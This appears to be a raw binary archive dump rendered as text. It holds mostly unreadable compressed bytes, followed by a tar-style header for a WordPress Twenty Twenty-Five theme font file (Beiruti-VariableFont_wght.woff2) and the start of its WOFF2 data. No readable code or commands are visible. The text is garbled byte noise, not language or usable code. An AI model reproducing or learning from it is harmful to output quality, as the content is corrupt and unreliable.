MIeD}@eYqh0?^ ;ɏiҒ[6Uʲ' 'u-vĢd,5v@) S^xr! 4V5F a5yV$FUǧ6SVW$.)/69: a5P-Vm Tz0K:l¡5cEB෦@ްQ`=bBKD̅$H/myp!ŗΊ2 c\mU5kDMĀ-QZ0XV{:I oXt+sJ:Sr x$DnrXDEDyRm >vvK,`L1@tm5[po{#U,l'ȦhѧLY+/:~05q\84t~fe:y'}DLFk!tF:EJV lX6υ+WvdPXFUQWHVsO3wzG}b+7H^\<[ Y>GJ%RL!>'1t'vMfI棛47l84^ e_7&5M/Ew'`[])uŌ_suYM#mX,]{ЦkL %3՟WRԽMHHA̴˙iZqSK[+*VT[53xYE~r B+ lE[|Lϸ$X%KZ32em&I2э͚P0]Ͼ eIAy0ᄄ'~,ESI2d湓l#S$%N-0Hbulщ#;M6WV:TުdnDF[]d ea ~+D\X>K7b& HC7ZS;pas,f̶EaFpm bDP2#'Y>"b]nӐeKNtlNу^]WS էmzW5MW4Q>a#tW[)Ȃ6Uy FAleq2QgNՁհ%8"g Ri2QLoOMCPL,#F$n' ;D6ӈ6$N&jgG Q3X>c%gv0LsJ^=e dp=&f b"@@9:3x +V3u\XW$LD)i֩u^zYțvI͘ ejhр؁ٻ3ڤVsMZ3.,hwXR:yqhgS#+$պ79.x#?zN^o!w$SQ'HCwB S)rt12ǬE7VV opdRA4c! `~ڥπsVxvxEn.ꃐrԜ;<1guc>=T",ݿ˙>3fVyDC.R?)PM_xOvd1SG<6|v"/?dI [G/?xM6M|V%K%HvWa_Q_- $0\l ݞï=/ƴt݆):yQ8`pW_ ZQ50_m/H (@1)m#)<*Z}fO 0zRseRݱ5֑a <2t|z 150T XK!ySry˨|g, O6SiQCTːNK-nYG[y\϶ADd6@^H 6R:x (UgRqT$9&79PҒ˔cXC}s8τL) 豶n˳\;wbg]Ys$ڛS)UzP_xȆo'k)$<+t [*JaXJYqBZA!*2L \npmg8gϤBivSνؓcF8-~*l:, IDSE%-RAkvϾJ|Jgհݩh-66[M.'jFwЈ '.$RRYh ڒC.v &;u)-ק. *SPx*OCQc}jaDBj _ ǻ-q?A17:kMo$x+-,]a&zcF0, 7U0ۄQ ? c9X'* 7IҀj\2gCTe7n|2@Lq}3G? &)}fF% Nr@H(F FR!%Y]σ !y4Q0/=qa!KW&s &!0phQ \xQE uA1Wn<2/@`,bK[&Rx vI*M\ )V\V:πsUrw#=1ᅗ^y퍷y$ Q1[e9r婪@j?au „aUv1|)n (%s K+k/Eb !/29TjА(j(twopqt|zvyHMj݌MP։ވ12h}U D"نl]&lP-OnuԣS;9";|j-<,bLS*SFB-P.L A"fXZz$tLF R4j։ (m! HB1I#^]2Y漗{ VE HBjjIC"UB8jcew&Ɏ0 Wݟۘۙ;ITf2͵J6*Ѻ<Ċ; _LAM ꇄG1 .V(*uP KG(lP~L VJdaqM&_f@VZNh()L94*ԲjTf‡@& $"$d,iLqmXĂ ӧ*8CNz4|0R@!.:@ .C4 Xs߱;9%6nAچԳ5;pOVOyr$YSk5$PXP=dvE&,ښO+R'f&mNX- G`7սx=ʫ‰g|F?V‘ ǻ[?[{AmB Cfa uR ^"נj-\u\@2C])@*qЗ˟{_ߐ޳߫*0DڄK_ ?s$Mx*8͓[h 2"Y#Å6/YLJ@## .7 '}T.)OY*"Oa"KqJRT> iLS;-ٓ[w9GJz%; :*S |Bǯ3ɂ ')EI }h n7P42zm"FʜKbHH* u 7l[CU:_l]_A`C!C@"R4G$3 0, ٕ2k-!SsNZ3L>,FPSP,__4oCH )bD5ٔ8o@{Eagf`j@g!E4PMbzW:4벭 Hd5<2t˃(4`'|:rVA)^рZ%)ɞM&lw6SDXQpM:Jdrr S00}<Vwrݎx:f +l!OPnz6OXfm Ks=zkm]l{<$YmU M!)HBbu,:m&m,E8R(<Ć&v-2˕[aUVfve}W(_*mv|=g.+N|fɏ5 #:Hq\Ȳقys*,9M҄C0ŃBF=R<[LAɉ&0&nA XW-c]ssL 8SܾR)S:z3hyrwɰuzlʠs ed [jѥd &dfgcY72Qgbs)D"~E8Ԅ\N "`&MXL"im(+;c:£0xJ3)UY}sm116YBx*!0`y,c 6qL78;0g;k2ۦ*M ۋ/~㎻u[h`kN/Hpqf,5 `t>+WV75wtqNMd.F_P Nd6O ؾ"B5`'&jqJS6A ѿcp@g$(K4$r{o{rj`_ vtw8$c:baɝ'tEʋ@B!A;e hmG{9cP> tm1( 8DYbMyWS͍u ]y&! \QoƲoڛ;7Ks"ne\C2$t#r&w6-ƚc_[Z!m*TZ9RZzMwҮZGMMdPӬfE0W/;)fP 2oJ~.%XfR~b[t;O~PdSz^=cJ&'vRV+[kuVcPG/|g|wv߰vçξUOYYξ{6 ]S)_V0ح(w7Qqc>?>ԉb DX`S-r_t+B hTgry #rϭ{M%q/UЗQW14E̼{ʌXƧ!B utz!fG#ǃd䣿;o'?졉y]GޘO<.Ȯ‘׷A }>j#(ad/8 ;g֢grTN*lCL{էJ[V#$A U퓒: Oy}Gk:kK\l1`7\* >hr 09K>+c^$gr_:V_i0UY*$$\fAX°0!5Bnڕ|)+ˑ g Fx&)1YQʋBi(s 9Y,Q<gG2Q8QV|dgv|3Wo)J- ٖuqؑĤ`gJQ"ZBC4斳4Eq*# zs׼Uozuҟ^zRu*W2nѮ_ jy6_NZQo}kqec{i۪QnswDl0\HPq6dӣ&m4j3Ԗ\ { {  `#X x~UR@@.[#!DJq-l5oF* e8W n3My[N.05PKtRiK^%'\vH6VC/D}PzHψX<$isKZb)@4UBD$(5'VֶEǬT%1x_2$CD`DW (i4>oAV#IQ[%pSì4-n }ܰKw 2O]E! uTUp:9fKVjV˖֪ҝ+L`}/HW:1ڶsBUZ\̳\[Jecuªaӎ~/~O(pҪ\B3ǣ!b?? +w2#;uE ;<,l PDD_4'sUB^h*]z%RANxbFizӉcH,%K'vc( ]*:߀S{  E\QZJHLH3n6+TJydi\q7( a~LMRxGGIkĻff39@XP 2(n]FQ5Ϻ \fP̓3SmMߔGt||~ TF!sY({7 db:(w1?l mELJ&hZ l91Ka@l|I x,%X)P'[ ߰ m-QSFe=7띬TAD=D{;kb wQ̃Byz]aN1d -,xr5j8.q0DRHBF1r vq&}BJwI~ jp#n`3Sl-|p?wR A.UYXYykk"s8{A%5HW,".W8GUq9f"@S(ȊCA=g13_[Ȕƒݱ8>J7R ?&p\ !#Uo4fɅ.cW7GЬ{⳨ɾV̐t4 G#Ϻw%3 $N仺geİW)D?9I,}gyE"ZSZ+gHktӛޡ5gyK>:uZU7N '$\oמ1I,ݗ@ KlL"U:qFl<ݬ9g<~Ҙ:%۹@>N>Cr">[3l#ks 6%K2r-.~2S\zǠy<қ-'-ȬjIb@2x4%N\f~Ҷ^ncT6I\x"<8 APd"4mj/<%NF^؞6sʠ&+:1-l1!C\Qgf62LvDuzje)ix 0G?aF|z?ǹ?=sc?'XiΧ01m42pimH8 ^Ƣ1.&Aî<?̵KD(Qucq[龦dcճhN1G8۱7P9+/7˴6JkD~drR] yԄ W {?EK3Ug.^UI[B9 E>>vHz;QT 7'H8m=1~a5?k_(l0,/H-tƫƧuP;%Nvthlb\%ߞA5Kj;;C*r>qOTahsMla}ݱK m&&,Dbqѱ˖Dty. G 9= ҉0=(]QurOhj=]6$hdRYqsdA.Wl#)(gɬ &G+NE+nnU@v3?a\] l3,ϻĊ`FcuXw.I<Ǎ$fT.N(b 5MոfȠֻe`n6]aZXe*w@Y <4<C#tz噞pB\ޏ ,~L|3 u1'~E?_R\ؙSpꑪ|x%/ EM}[~V)Qpn@bx=NTkjNjJ5Cx}kfh߽cUPv4*Bjޞ1.ްOROyGy͕ Ҙq`IU׵JT٫~KvY])g&bv‰~\\VR`om1GvmqG&ْު 2w &ec*M3ِ6@%؃tؓtoҷYP]((#!hM)ayHؤ?/M?@˃pshdԴ !.[Ku>~AXX0yo' EZL-"Ke)zqDi<O"EgՈ,2EP+T u_ A¾vcSU")O| :2Ⱦui6mvΗ7+u>]f fY&ׁ&8DrkB_jO(5]EBͪ#ZZz՗%[N!b_t8 0otȼ"k*֯ U糛Sb1!M*lt{Z)mQkwP'(jIIS4[_b;PhPM.!nD5k*(Mݵˬ<<ۈrB=;pаoy?.O>}Kj[J \8)C@&} &N/p~(shT>xCLLԑalEqFp:t׍x?̕ =ËB~]l^c\L99s6+-3sH)W(L|I7,H/‚D"eBeP(|7ElvtYz^6EM_ Orޢu)OrD[Yo/ft+BWF Ĝ2\#0Ş?A[!Sr*7ߧ5ܝXŘ#(!{@`BT;%;Su_L6bNlr}s!s8ҫȀHl~k &(ɪcm.jOXxε9 &_ [Dpŝ_7i K^\/+zaԈ]˷sS%},bC?xiM9Q UdD D dpXj7y4ئLo9ylS6BU*>rW&Y3^g*%hPo4oZxF߼sޥwjYw%5P6{\Za{}/Oೃ23]T' NW118oyFv 傂 i ՐE$ m"gvL8k#tSrȕCw⊼ۚN6h? .ЩtS k]w'~#ӊ>/ק33dmyOvә\]娊z,#AⲲb3#blUHAO쿮48h!|Pfi*C?DfŖ?iL5Hf6Y$)vb(00qq:t3hLĥkbLNWќޓIM6st;hП,2f;⢋tyIϞ,̞:4FewXd&&y w9wڑajb*[z&c>5z? HL\Cg*m[_x;˥.ᅩJrYfgԪ:l#̨MI& ooϨ\޷=sjڙ"hƠ"&gA h:` н?wr.iF?!Q47r/5>{6 rJPg 7 XJM̓~ξ]@-i}`G1$.@Uۦh"hr>2!#tZMk-N'l˂ep-U6V}|6KD}ifƗ #ʁPc$c{;/wО+?gs@U K %h !}'uoWtGqrXm J*:U8qK^kl21%쵣Lx!9 K# ȩTs~Y/Efˡf94ɵ%|7́ah5%t oexW`?qjRQ\xxXȿ7މ˝0_.ʵ` =sR=v=\*Sni.5Z ~g=gC0ȃ8"e )p;0BuqPqagbƚTQUݐ'E@?R=_rU7' mZxcxtJa*a [#ZZg7ۄme(QBA(lcӔ?H@e2b/wb *nc*L3*~f l7KR4LtACyܻLf7ٸ,e*#E=9p2ѰdF?RE~I'?cNO' VvIŐAdd)E$6SdT}72Z.r0ǫ[K'K{30= HTD"M3!hQ%L$ 2]L̗P2a:u,ɫCS ("2nVi1N>+HpZ̲R}e?58T>f5u$=ρ+ڸS(=:)e=^eE upY:znOCIp7?{H 8A[gԇ/_~8|ho+@%yF!pR1k:dM}%Et0פ樜Yٻv-mњgqr݋חt8]Ji܁Tٱ{wv$,EŲmI%ueX?'~)z68[_g429Ïh#b@8`? X`Clwp+/wT9w\~lv&'e}qgծxx19D2ޚośIRO}D``1"Xx g>~wMh&)39G핷/ndҚ'fPwÏC 9oOw\5ėNߏɭbĎWSռ!}=.[Ox3 > z"X??[bً;M[L/Ohb67<6_ռS:_D"ҭHlc۷\K{'/-@Эk7/:vӢ 'ݖHLY0ֶnڣX\(VS? w?zu0\[s8O^ieu7{ uK ZzZKcm OWJA,`kg) K)u4U9OŞ6_Z^U+'4NWnx 06ii3b(B3 Bw砠C}w`@2@.cHTvu^PeUJՔۭFOdF0ktش4sW϶qf^갱YA"&57Ҕ14$  #2s cȁN#܀^5Sc@!+ JպJ ;2| M]O,%/yw/(& H{].d۝Lѕje؎Iɸìfа88fsEBUr9G J*[(р4z;;/ +`z_iXSSdi_IuְwVPsn}12ϼ˩wgyQZ 1@[mbMH:c[]fΦ$MniS yx:_bMJL7kIq1n%>|(̱6@~t<ԇRF'C~ArS:p{1x $k7 5dۍ<#e6Y-NW(Ҽ&1(e^f2d 'ɻ='c* KT8Ƨ1*Q&,A s~4r<]#}xIbm&naO_x̭ X*3+ы[O>ҁvTs>D^g,jd[Vs~ UO02SܖZa$TRJor5"l /y"$ IZЏۗ3-&,Q{=16pIS315xd \Ө D;23HYLwv*~P醃81[Vx-AbS:{91d)sՙM->ge/ XZ-+hLrۥo"=nOyё"_pk| <kJA}dCw"g`D˦@G+IDe]άo/]ǡѕ-<;JVU@] 'Co<^jj>UmՃ/> Pkۖ}}9ae:dcZsu*#G9rxZpxLzX9tk/'nr[dpWUɧnaL6r_bcPe42 כƧ;d+S,3IOrK %œ`$,l# h+ZK˶[7O߃5 ;?P0!o,"DY=t/! li}CvV؅;_qa] 4r뺵._,h:Dୁ'ҢM&|QBA.al}sj]j<4Tki_|c\6/Ik¸-Ɲ=n]O5[:JZ E&\6~zS|돟ȳݚ5 "O+{$ YԤ `2wx?PDs1")-:H`L6q8e_KWIWL2z#$|{cGy_9Z[\6JG?><+3(HPq5}P> ޻ҿ wWzAꋼ ~#0sw#B=FЃ̊_b Aš%й  VB\}, Dοi_'|tw oNε;<-e$KR&iyM{ʔcS2= OF u>e].u?Śu]Lsnn}emf:ZjwRyv!Vѿ{Qeh?9z)UA}&$MyUa2LBr s-S9Xo$k `0 XfX_eUvvvyɛd΂o%Z}Mz BlpYpwߛWywDTDS{2AL/MpGJC_PWraiUv I6%|"C- [瓰f&}o]J)/ZWT=(s g؈=!dY$rwn֔$XW4 ksL=kGZWO}Q#&3,/]f0%6q7~G"^:bS^XV]=͂nXFn XCUhwַ gVk!q{r20H9=5:Fm,!& Jp;izԋD*ȵr4Z=א&QctI xI Uq5=}dlS=TT*TT;(I|żY]&,o"6?MÂY`DVOfWRdzKiEF&Q8:|s2[yT' |BdjաlΑ0r*x)~OS,Լ(4@|Wf"jv ce Q~$jzT> Բ{W8w6/L䄫?SzZ 6;i %0C j{4QycCba(CQPIUz5n-`Y2 ]Z-˳IWF7^xuFjHx+h+*4(YnVX0\gՐ> KI6i)s냠l4b@ΐocfj1ՠ4Oh3T'HK8r'KP;Ŋ`DIeeJzz'QUH/=}_ގiKx}6?X=?av C켚|y74CtxL8Gh]5b`e*vqNuMMdՙfrn6340m hM07uRRRFٴ e9Z:!4P j%k).S_?m,^j肒`n+)nCxh4<Z;,ߞ]G7вC3y rLP:vThA^WJڠ~`77,d~ *m2ghiާ7i  OIXT3^slaTR-3Ke3QWj="$n6B^L%&K|d3`PvG@f0=R M(fTN,c=VjJ] Ҫʆ,~\&/5U]m3~1Pc4xN(Cɴ*kX+t1MAGJZKi)u:8+/K2LK5WV |QuSG%CY!YQ5ߑ7Ҝܞ*;]ϟC՜(D{XϱC!J. @-wPݘ facؔ?Q P"$rTe{TP@:X{y{[!=Ii Z>Іá\mX7,ӽU ]O(B*I܌*{StIu6ݏ9Eo1$H] Sy[=x/"ȋ{P*1c_"c>FRW gj 9BN^q]I#ڐQ\s'L< ʜJJ B򥸧&@Sy>3-4T–)P!b5e2\& ^"yIE-ܮ\2p ə+?loh}?Slh]zα˞1<5G2#TsbcA)S]%vؚeԱ#3+T! (ymo0(31v{> v>2@V]Ω@G^t`b7sYd&_Z-0 nxyҭʭzgNJ 7-ll98v LSaf1!pP #;Sn](ps<G{-z&; pkGVY0tV/Fq`[7e˶7"/ǫ7Y:j⫸C1cc967bP3nqrz@6@%,zt͝Ǎ3#DDnD:!ONON=%tK`~s߬(훫ͫJL 1r<”C4<%cB=vx>z=4;Lp"ד9gkS{m oqovv]Ţ}-yOWl?/X2}o_K=s oJ7޲\E.v_?s?)o,kc .O]7M~(AWF֨ "QBfHTtZ4bP B>7h XTŇIT~[nN֧Gzv&zEw($Iv$ ʅ?Wc̰>c#g=䗄rIt}rLbM>2t,EWSDum"Th!p*wӾBtLnf3AT@cSk^-Uy< ΡNKJPsTXc< b GuX>;`E0rFtC7LX˱&RL8̈́ u2"%GW[Fۙ,ř VZO6SSK RIǧ5>"Ui{3J՛ /T}&-ݸ6 Q=d⚒B}OyI e8Di(о,w]k!Q=!~) vϕy%mPO9`B{,CݵC#y+@+":5DP&GuE}JUtOy)n J^juv~#$IL?)W*r<l~iw+lsFaPrA8~j3 PboWlQp1fȒ$o +P8mO'{tW{TD /殛변іm:y_-3yㅃHyT2Ser0 L>kL EPMͪp_CD-JSE|`ff uM Y) pܒ4pi1.tV%[F7[gs$M1@1 x]Ԓ5G֨M>Apշ(f\X+v4ӆmBMW,;iRᯃ QiZP{ ; Z⨐X{O)o҃ H$ڄbzGL`C8;Boar^C)J$Cbk5pWEv׈[#KF{ΓdVK\qO>A_T v N .^"BQH@-z#R1Τ]+{=0!%_"NCgP4qɻ T-8,p"j?NHFɏՕmŲ7 Q+ uM ,"TytXjHFEaY~r`ѺB٨0IUq*HdEBmߙ ӰrwB.qAQiTWWv1XGfp(Lf}8M ތeFEY< 8NL:uć' Gry wGfF՛haM | QLZh4h`Xu^k#u9@*z0g-tn"`ͮ9 ]'l n>"_j^ĎYFr|eY"TzPfc5';5'q(R֧bRi9Bo J VBa]$EtXq}bnJViw մ:VpȥBK P>H˽,F9JKW%ތ+\Slt, 4;LeלCgׇ5*FUBy&8%Y˃ q-ϵV*xŽCCp~G[ ppǗ&  Yp|Jg^o0SX )/z@fќ:Fnʨ~ ̧7F^?ԇc8JG5Q~BUힲN%[&>5 lfw1ٍxnFb~X!,K3LTDӱFt:|)i9\B_![[%#|O?f|&6^Fe/v=ҏUeGp:=RFԃJk-w ^o?~jeV4j:8^-P{y#7PnW=7]tVsz : ;o1kRQ&m|uÅ07zOǭRʇH=.T{!*ΣxKwΠN°_&iG{$+9VaZ:wGqQq49N C7rcOY%NܚU~}^޼iIn3N- UQ{H))a;2['e(X=k5PůIA. (-dZ)=onOяs'n4~?%QCc[UD#p3Ժa4G<dz4ƓYC\_d4/']/ 2vmRQ5/tb @Z7!tLw$=H2a Pl(*x!1BA!2hv&t_gGDpVhIE(gݯqv^>O :NӏYom1 K[#'VMmHzv|-:dFWV>6u Kh <7A p])ޖo,^Sq8`8o ~ 2P?J!4]ԺJrW֮mxBh@vcjqxM(B۪pzaf3Gg#YC !TsZs%4 :jtm `1OD}+c `AaӅ8w.~`KxdX 3HCH]BQ ,馜\QM~x'eƭx읎5sfC)~/n(4$|E|8^4Jl#X^^o'BVZ8'm Qx=] -¸2I-ȡ7f*J Ā~Əң 1F d_-Eg>m=) 0)-(nhviIB<X I`1e88j#Dz|ł+erHY4MRp, kç#G!(%G ',SA[xcgxһ٧2\-T^NRi|N\f&%ၮGc^|iwr~S?zJ/H:UX$k-ҫI{{67pUx\o)߫-XS+N2HtG&CUK[E,*=Nrq؆b~maƭ)9%CD晘uGup8`pv(0-'y^%c8v٘sD=;rͻ0^zahy8j07GƺӌM }Z@i *LYʌ +=Va)/Ӡ[U;!%,zNjqh*@c +?Qk}h6I,OL"Z>i͎Ja۲yT*T%j^©Ys((?86"1f\ɶm˅- V5[OiPO,qDv}u fY U;# 57-?mli;Uuٗ{nE2n44IΌJ׭w>iTlj$pT:@,'/wk㵷w 0/C'{V <}p &)OYLhד/vw0Ѳb [j?5<$!⸇nE? rj"#)$\gaVx ΤgL^Vb5dMh3@h47 g[tg$yy֫)^J%5tP5ӽf$tH:]$ɠzLk}*Ք>yH؝PUCámI-T(wg/SXN|q}ۧhv\im]P S(ް>(iLM/1$j=6ៅF$QX+UjX,af?v!_F3X; 好ÊWTЍq7U_60Kz>e쎸5}ߖ7 E;;c:^N.zyGUƺ/q4yf`]eC0h VU jҼ[JXP G,EM@ž5km؇06cp~br;PRU=ه^l!87f'Jx(w蘗[եXG0dAzGհ?3PIYbP?Ƚ/`@hЂw[gl P~X36/7P7u'EFj2BxonP3nEj؛pı'wɧ{HX(rt3'<_Y'Ͷ˾ vmyfN $7>$B3Q'b g*2}STiP rѝJ_ =ʕiWJȽnhJ ugIzV=bM$pǥڴrc߭,6%D%EՄ祩s a!MW h6F)w V+ZjAQKUdhq7L6oE#]b:pK["\atD^x~EiWu4 Lj(B8X?{xyd7GȄ'~5fK`38c7^Lc`RlE u3iQ֫ktoyfWC9 >^Xz Y0aYwQKUٶp6tyEdeo5^x뷏'ƽ#' I*|r7WLn7I~\9|?_J썻DQ$i /9a'uLRVF2e)9SC퐚 N'0kSƍnhRNF45>Vo(P9VIO"3wƪG1஦,2mbX5 %p Ek(kv͐$VYɔe "1Dۥ] ; vCd zBx(ԭW$d];L&cNZ|do5A,<(ӷzutE׍SzɦDm,3[!>'^)2zkp8w<+@Ny>u,}5H:Re YjL*Ó4M`ISZj85I\}ZLãmZC;my.%\°(tBҊt\bfJRgb8P5m{d6\( !WS`S~ 74I;}bݗř GV;9'`hh}sA',:&khŽkI"Ծ}=W s'ݶqݶ4a8MbAnzE/Lp5My_/'\W 5\31Ī#|&E)?!^}g|TX4&h t~]zf'l ਭHĆ1݈"v%恩Ȫ㰣 ?_PLqh}h~4̛MyuH=)}Kjw٩zq!>(i6h~uQo|J`.O~20/jpn7FHWS%Y!E\k\^JireUlCtqUY]hSo"9,W.u֭I4 Kk& XDž) 4NӦ\@'yi:;Zx:&j/gJRi 9+ 9WhO*]P>mQQN4!)2e 7I<52}.l;P\M$>t򸩱@a(NE%PZu9H4iEW!/,+2!L< q={B-))E IQCWBڿ(wY:5w&)1D BTq {!&v *j$e#kc{},nc;*\oY!e(!E7)K2DKmlI5J.' ȍ-ZKl|rϼ{z_p둿I܁QGHUGQ WG`prʅnf(< zYBn\1X6Kaٜm9LhWh5jv{~@_΂M^9pvq>p/@̷uqT͍xw~3{&qfbEгV$x3h}bU|OKXB;nFMzjQU`㡆BE\Uf0df!;^k:ƚW{X:2-jVkkB4 QBg-Mc,,颵*lshU\9V[O(>D<#R9ِ2R-49[aFrx Uv51͉jEfS|si|*m58yM0@No(w?Uh]u󠢪p>"#D:N*7ŬLwqٱjZX:021{ʖmZj5KBu1nF5d @3($2ˏJ4S@, >;p҆'aXMG8O?C즅SdB1b2rR/׵[cjGZ_&xK*V%4Eq:67m$6iRAXlDeMpjWPkm FqjmF &6 qD rmLuuYJٰk+#`N!j9 0FB'jWCfZD&_ 4<"J3a2M6j6(pZLO;j }Z4jFD͡_yߴ+NRi=5sbyar86J}$mģb)-UGEdT}(egHSN,ˀ;/z`) xM(&|U1bUXq@ VtUO} 0Ƅ$@9MSL΅̸蒿s9 -Қ83m1N{ ,urκ(%2V\ɍbjcuv<ǚlS[Ìd -; +F˹iMjYo6lَi8Ļv0T}; 3exXۈب%XߴƔ j?M6j,O`s[,ۊDHl[)=lz PA h&KѓOÊ/|Y7~"3[UqGթ/5+%Ru4TsS%*RxWkZ m:u't&Pú$Tfk~hLzlJ'p6eJ4iDfDZ?Cro?7t r&uaA֮è1D4=ʖ)O|i="y/Ǯfgs{AyTTjFȸh~'GDVLid˪UsJo7wvm./fn[LMK߀Otj'_V.`|:˟o_>2084<2:6.ɊZ,xB+O]t}]99Fo_im}%L ; u uDFgHbIٵǨԩK‚CB#>; xpDb xoIՆ"RV5u]#0cc}c#4lit|ޅ:4 l-ZTD2QN^zc% D P/EGNd]䍅%V=>ʚx-_T;  N RE @Do;u#$&  Λi &m `ÄphSD2X35Johш1\|ݬ%A[1R_bd*t 6(;bk;"b!qJ@)`*8Jۊ[Ӥ Pb]B371Zii{\p{themes/twentytwentyfive/assets/fonts/beiruti/Beiruti-VariableFont_wght.woff2000064400000527660152335264760023616 0ustar00wOF2 fX6^H?HVAR ?MVARB`?STATL/t 7ab>wm1 /JJJvMES[`0SFUR=S›bFܕ 8T :4nE}5nD qcrQSw?u_>wU zt'&z{y\xGԨ<~Nq(yw<D>qQ)f%כ !rNS#bvZcU6q?mߗ {Pdi ܙӡԽKV1˜⋙"DS3,ښNq)7qy5oR{DꪪIFʖ,!9`IL=",첉KIr3-~4k\"k UkjM 1Ө!F{jo/hıY~_ު~=3 ,&X"0*BDE#*&lhGD76|Ȝ3QS+rDtQ4qbMBl5yO6Bܙ7e tUWŸ*BD_."+ "Z10P1bDcfs:֜N38){>![BQ]J_3l x@~ ;%LaC&ɒij5$IG$+I$I=$Id$Y$J/I$++YY#Id%#I=Ŝ' yjɒa#X<\h(JDTٚe=l1&.5\* 16k*:Xō˖A{6 /HeKn5 G6R a5MuGo:̚}I{3Vi>I$# # !Ҹy^ubXle%NH1Uc"DR h15Ndg_IR~-(AKPݸ z α ,&4P*8A/ RZ@Ukht~;hA(R&ro~Cճа݋]et!%"B IIȨ(oXFXg.5PIk7 Cڮݛޛ7y0D H ARKpCcC$nonq~~siĴ۠W"22x(v@KVEˁr7OC )*QE2eq'@ (ޥIcwݐswWWt^y]B]\Eyv@(.tM!(2(W,4ZlpM:aeJuRe;y #Fb# =$7y[uq UT$e7)RI(IW{X($%YmMv۲vh7Dy,*7Lf)"Wø|/EKKH‹:HCr쐙QwWUkN <huZY;`O>ԯMH&itZ^'@9@=<\cL1ϴ ".2Ow\Q맡5!B0f4o{l}57! BDDD($H}EݐN|MŞ7S4E\,Bsq`>G~?U`;b A^ؐ_<[c":Roә( ʘ"ٯ?4__w$k`MrٴA퇈'TVYĆ [ҙwgW%YҁqDWu!"U0~"->t'73Ky Ƥ3WH}Ŗo9/"#̞ٹSs$ƒ_׾eE&wjFsXB ۗ4:Ơ1he)YH"H{@@P)Bv޽U Sa{]?>HD(~sR ٞ`~IiO}sXrZke_GHcmz]>~$Jb <nSd pw@'^)})TX+Yrp/ )$Mj2DĈ$ȤD|~8zYY!5qZ>l̔0`-taT҅SD@yZk@á9 asXn磺{X@8X\ai_l+}#}i3Rnkƈ2 X%4hXc}jv;mKY$C8 uMe^q>!0 ̄~"7t/J'`! >ygmƨϱ\3曲|kgCU΢%yzs? 쯈X -;??s֎DSm=qb ao?`ks6b/s@us\чu'!J~NJYZsk*9Howݲaoa!vg:8,Opm5^*^w֨z6>(O>{q-!ڞ] ;TQQQJd)vZ-w5~ $ڷGIIϭMe/z ʻ6=!F,WG K?NNt>p5s$;n7%KCbMEz? ' ,t~m_J`66IhZ{K# )kщՍdidJC.ףּv`L#3獐^$j*ĭ kb$ DJ+-U?8sOp% {VQoZ[PÙd$)N)ML,:*4rbKij܀7h% U`r$ lePs\kYYčpݤչ/fDҲu(nT%L9iAq("Qڸ]%*=(<ԣ9 #i5/1Mgr^E3 8Qk$qg]Q {ID*|9ՎSo|!=+{(?yq#PNt|6T",b5ְ^?wA\!Sҋ{ *³tP9 ?ԢO2|'A@H个6`0~Ѕ$`PcVϞ2 a$ 99UKˢy# "Y;$T\cLZi w0&-RBBsΦcղs)Vư]. W \ٸ_PL)WڔN4s6ʩ o[.ltƱL+ύwj8 <&6I>+Wnd#՝5@x#(jyr]q\؍ue_d(qJn^+h y;-!6TJ߉0$47]=+5ᗕ09Fj$ b_TB545ѱb T?y1@è1ʦlEnkh_ku&dnv~sRw(gw0qX0hN }[DRND@BAx]e6ْHo癟|HPPM=l٭00qpMYZ2Ё]՜KŽۜ7*9z246{n\؝i>K_UZҠtNoЕ;& $J\6K?S}X0hN ~  cotװ:cxE)hQPM=R\&6)ҖF*:V^FzW#U ȁojjʔ"d2(qJnӫ3,V 4XӾZx;nMCBAxi)!-@J`oV\:> ӌIDr褎mrS<&6I1Xi FϹasγ\SV W_|3m؟'Y(|HkUw׵GXMmٝg@?5,Yqֽ8|9>k |B" L.׵IC DA@uj;* C➗)BP0c(Ә oS+p :,4d4%ԙbUEc]KCV|gxц0qpwzm_Q43EoՑ(z2.]UQhVq%4B5Lk.\2DVFtcY$oxX0hN }YJ;}"9.gC8[Ҟcx# "E: ji) ה4!Ima$e)Ϲk5. Ʉ1*ngkU'*Ty^|DV&tc^WՀ'0,V 4X~z4oǦjz!\Rzks  "EVBЀ&^aUzo>``ba*KVh]s.lݔʺiyYgσ0qNsEDOʐ3RY W8rW |BU+aP1Ooh i_O+AM$4QzhC{9Wlnvad") tRGA6ty?<``baJTJFiKM{hI* LOcփi>X]nf@9j"+x'S<ϛF<%.X h tᴋ tʴ!ar$CF"x#5?e u6cײkCX8&+L#+M^h[zC6I9 r3͏%OoSw+nݷ6 |BU+a (w}@[- ``No/c`;m: aCj_5-ctDD" c4a}hG[ Tw]QՁQwy%ʦik=2v9ӆ}r/{O5VeۭGĝyym9XP[j,Kߩ9xO@Hj%l(,X A(xIe_L%vj#1k6%8&p]T~M\L&,*RTr*u:kФ0Í0(1[`E6lma]v{3.taGuq'vV=ȅv ˋP (Ɋiَdj+fE˺Iтazͦ IZn?&$r JjaZz~FqfyQVj<9m;^01EYM ؎ !T(=Lf*0+1ճ/_B;Ⱥ .]1?/wph:ס*zA8Jx‚70\m鮶.s j+jĩ/2  wоGSm dY$YQ7_yfu[1\Ӧs_hIR! BJ DB kГkҡ'dBO!jJS 5e0R{*`TH5L#X3,pd LfXf9K(qP< -!R,@ 5[ lX`k-QcpN {a>X:N3apv9] u5䮁ֵZChM[ u+DAvԝam'> k=v/(}/A}J{J(= cPzi{jςvWa5:{=؏π/_`w~?3XW `/{ث^ |DȂ:Gԑ >4JH*$z4>o!ExߪQH]S|pPq ApRliP#=2-ȕvķ@yeSM]l' \F"=VE,H@MY6y ?G%EnE^ wo^r%/eؕB͹N(ǮH$>+uܯQUs`;K<ryuӝ>Bqg#=׏\} A_X(xϾx]x rOk0ÆGpcB~ '"uq ?A"r1r`Ɏ7x E31 qpBMRۧۏT >Uki_<ղ nBADW<"`$`iۅ-Qr0"&p0+tySXvƸ 6j ͈/kƺ\$͎k@'mZLE˦Ԩ%U/;cʭ:+\]eKy5FH5vn?_t -*׵.5>GN׀V^|Af`遵7ni~il3wEqD %Үa`1Rb U؄ǑDŽ$4/%nR2s K+I\#qʽ/U SYJ. 0x 4,U!K q# ]MKyi25[a~FBl#Q릌fPKخ܄QXEnikp]c-OEz~dЄ=.dlI粄 )b 4BϫF)y3V|?uŖc1_5rT~HkXiĚ S9*||{YQ r,a>U6Z~r%*%D5x[O*'mѺ~ox5c߼8lP6·.CU6bʄAK`cpZya5Zo4e.,f#Y;V\\8L􂡂KE_=1s͝0SݠQtɺǐ4]a#Yw#ͼ0t!5mWôb<%c<{4jy֊SMkBa,lxLt6+hǡ ,pcM..KW49bW%\Hes9bG7fWF9qRa0^ `%z ,4,yIA`"I{>9K 